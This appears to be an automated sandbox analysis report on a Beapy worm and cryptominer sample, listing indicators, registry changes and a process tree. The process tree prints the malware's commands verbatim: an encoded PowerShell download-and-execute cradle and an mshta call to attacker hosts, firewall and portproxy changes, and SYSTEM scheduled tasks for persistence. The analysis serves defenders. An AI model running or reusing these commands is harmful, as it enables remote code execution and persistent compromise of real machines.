beapy | bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25

Analysis

max time kernel
151s
max time network
153s
platform
windows7_x64
resource
win7v20201028
submitted
05-04-2021 09:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
Size

6.6MB
MD5

399f290d4092909f40188d037c75001e
SHA1

f2db04769b8227882aaca73a1f49e1afc3b0b14f
SHA256

bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25
SHA512

a8c7e0d4eb15f60b6bc749d3dcf6b4bddb2abf932d039786e006dd66f1199ca3a32a16fa933bc195015da84f98f6a716cedd89b41932eee68a548a0e29acead0

Score

10^/10

beapy evasion miner pyinstaller worm

Malware Config

Signatures

Beapy
Beapy is a python worm with crypto mining capabilities.
miner worm beapy
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 20 IoCs

pid	Process
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	\??\c:\windows\QOXCwN.exe	cmd.exe
File opened for modification	\??\c:\windows\QOXCwN.exe	cmd.exe
File created	\??\c:\windows\bbncwIZj.exe	cmd.exe
File opened for modification	\??\c:\windows\bbncwIZj.exe	cmd.exe

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x00040000000130fb-93.dat	pyinstaller
behavioral1/files/0x00040000000130fb-115.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2416	schtasks.exe
2264	schtasks.exe
2784	schtasks.exe
2812	schtasks.exe
552	schtasks.exe
1452	schtasks.exe
1228	schtasks.exe
2532	schtasks.exe
2760	schtasks.exe
2764	schtasks.exe
556	schtasks.exe
952	schtasks.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1800	ipconfig.exe
940	ipconfig.exe
1984	netstat.exe

Modifies data under HKEY_USERS 63 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 01000000000000007027e61b102ad701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	schtasks.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000010bbd01b102ad701	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeSecurityPrivilege	920	WMIC.exe
Token: SeTakeOwnershipPrivilege	920	WMIC.exe
Token: SeLoadDriverPrivilege	920	WMIC.exe
Token: SeSystemProfilePrivilege	920	WMIC.exe
Token: SeSystemtimePrivilege	920	WMIC.exe
Token: SeProfSingleProcessPrivilege	920	WMIC.exe
Token: SeIncBasePriorityPrivilege	920	WMIC.exe
Token: SeCreatePagefilePrivilege	920	WMIC.exe
Token: SeBackupPrivilege	920	WMIC.exe
Token: SeRestorePrivilege	920	WMIC.exe
Token: SeShutdownPrivilege	920	WMIC.exe
Token: SeDebugPrivilege	920	WMIC.exe
Token: SeSystemEnvironmentPrivilege	920	WMIC.exe
Token: SeRemoteShutdownPrivilege	920	WMIC.exe
Token: SeUndockPrivilege	920	WMIC.exe
Token: SeManageVolumePrivilege	920	WMIC.exe
Token: 33	920	WMIC.exe
Token: 34	920	WMIC.exe
Token: 35	920	WMIC.exe
Token: SeIncreaseQuotaPrivilege	920	WMIC.exe
Token: SeSecurityPrivilege	920	WMIC.exe
Token: SeTakeOwnershipPrivilege	920	WMIC.exe
Token: SeLoadDriverPrivilege	920	WMIC.exe
Token: SeSystemProfilePrivilege	920	WMIC.exe
Token: SeSystemtimePrivilege	920	WMIC.exe
Token: SeProfSingleProcessPrivilege	920	WMIC.exe
Token: SeIncBasePriorityPrivilege	920	WMIC.exe
Token: SeCreatePagefilePrivilege	920	WMIC.exe
Token: SeBackupPrivilege	920	WMIC.exe
Token: SeRestorePrivilege	920	WMIC.exe
Token: SeShutdownPrivilege	920	WMIC.exe
Token: SeDebugPrivilege	920	WMIC.exe
Token: SeSystemEnvironmentPrivilege	920	WMIC.exe
Token: SeRemoteShutdownPrivilege	920	WMIC.exe
Token: SeUndockPrivilege	920	WMIC.exe
Token: SeManageVolumePrivilege	920	WMIC.exe
Token: 33	920	WMIC.exe
Token: 34	920	WMIC.exe
Token: 35	920	WMIC.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	1984	netstat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 2036	1096	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	27
PID 1096 wrote to memory of 2036	1096	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	27
PID 1096 wrote to memory of 2036	1096	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	27
PID 1096 wrote to memory of 2036	1096	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	27
PID 2036 wrote to memory of 1184	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	31
PID 2036 wrote to memory of 1184	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	31
PID 2036 wrote to memory of 1184	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	31
PID 2036 wrote to memory of 1184	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	31
PID 1184 wrote to memory of 920	1184	cmd.exe	32
PID 1184 wrote to memory of 920	1184	cmd.exe	32
PID 1184 wrote to memory of 920	1184	cmd.exe	32
PID 1184 wrote to memory of 920	1184	cmd.exe	32
PID 2036 wrote to memory of 1396	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	34
PID 2036 wrote to memory of 1396	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	34
PID 2036 wrote to memory of 1396	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	34
PID 2036 wrote to memory of 1396	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	34
PID 1396 wrote to memory of 544	1396	cmd.exe	35
PID 1396 wrote to memory of 544	1396	cmd.exe	35
PID 1396 wrote to memory of 544	1396	cmd.exe	35
PID 1396 wrote to memory of 544	1396	cmd.exe	35
PID 544 wrote to memory of 1484	544	net.exe	36
PID 544 wrote to memory of 1484	544	net.exe	36
PID 544 wrote to memory of 1484	544	net.exe	36
PID 544 wrote to memory of 1484	544	net.exe	36
PID 2036 wrote to memory of 1900	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	37
PID 2036 wrote to memory of 1900	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	37
PID 2036 wrote to memory of 1900	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	37
PID 2036 wrote to memory of 1900	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	37
PID 1900 wrote to memory of 1284	1900	cmd.exe	38
PID 1900 wrote to memory of 1284	1900	cmd.exe	38
PID 1900 wrote to memory of 1284	1900	cmd.exe	38
PID 1900 wrote to memory of 1284	1900	cmd.exe	38
PID 1284 wrote to memory of 628	1284	net.exe	39
PID 1284 wrote to memory of 628	1284	net.exe	39
PID 1284 wrote to memory of 628	1284	net.exe	39
PID 1284 wrote to memory of 628	1284	net.exe	39
PID 2036 wrote to memory of 1672	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	40
PID 2036 wrote to memory of 1672	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	40
PID 2036 wrote to memory of 1672	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	40
PID 2036 wrote to memory of 1672	2036	bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe	40
PID 1348 wrote to memory of 844	1348	BhgfrcVA.exe	42
PID 1348 wrote to memory of 844	1348	BhgfrcVA.exe	42
PID 1348 wrote to memory of 844	1348	BhgfrcVA.exe	42
PID 1348 wrote to memory of 844	1348	BhgfrcVA.exe	42
PID 844 wrote to memory of 736	844	cmd.exe	44
PID 844 wrote to memory of 736	844	cmd.exe	44
PID 844 wrote to memory of 736	844	cmd.exe	44
PID 844 wrote to memory of 736	844	cmd.exe	44
PID 736 wrote to memory of 1076	736	WScript.exe	45
PID 736 wrote to memory of 1076	736	WScript.exe	45
PID 736 wrote to memory of 1076	736	WScript.exe	45
PID 736 wrote to memory of 1076	736	WScript.exe	45
PID 1076 wrote to memory of 1984	1076	cmd.exe	47
PID 1076 wrote to memory of 1984	1076	cmd.exe	47
PID 1076 wrote to memory of 1984	1076	cmd.exe	47
PID 1076 wrote to memory of 1984	1076	cmd.exe	47
PID 1076 wrote to memory of 1136	1076	cmd.exe	49
PID 1076 wrote to memory of 1136	1076	cmd.exe	49
PID 1076 wrote to memory of 1136	1076	cmd.exe	49
PID 1076 wrote to memory of 1136	1076	cmd.exe	49
PID 1076 wrote to memory of 952	1076	cmd.exe	50
PID 1076 wrote to memory of 952	1076	cmd.exe	50
PID 1076 wrote to memory of 952	1076	cmd.exe	50
PID 1076 wrote to memory of 952	1076	cmd.exe	50

C:\Users\Admin\AppData\Local\Temp\bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
"C:\Users\Admin\AppData\Local\Temp\bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Users\Admin\AppData\Local\Temp\bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe
  "C:\Users\Admin\AppData\Local\Temp\bda942e7765c6aaca064d28e3ebab5a7c22be23469b4c4a8b07f907229b7ff25.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c wmic ntdomain get domainname
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ntdomain get domainname
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators
      4⤵
      Suspicious use of WriteProcessMemory
      PID:544
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:1484
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net group "domain admins" /domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\SysWOW64\net.exe
      net group "domain admins" /domain
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1284
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 group "domain admins" /domain
        5⤵
        
        PID:628
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all
    3⤵
    PID:1736
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1800
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:940
- - C:\Windows\SysWOW64\netstat.exe
    netstat -na
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1984

C:\Windows\BhgfrcVA.exe
C:\Windows\BhgfrcVA.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1348
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo Vtnvds >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\aAKrYQe.exe&move /y c:\windows\temp\dig.exe c:\windows\ybZokV.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn aAKrYQe /tr "C:\Windows\aAKrYQe.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\STML" /tr "c:\windows\ybZokV.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pTUICJFPF"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\ybZokV.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\aAKrYQe.exe"&schtasks /run /TN escan)
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1076
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        Modifies data under HKEY_USERS
        
        PID:1984
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        Modifies data under HKEY_USERS
        
        PID:1136
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        
        PID:952
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn aAKrYQe /tr "C:\Windows\aAKrYQe.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1228
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\STML" /tr "c:\windows\ybZokV.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1452

C:\Windows\iFHHRLcj.exe
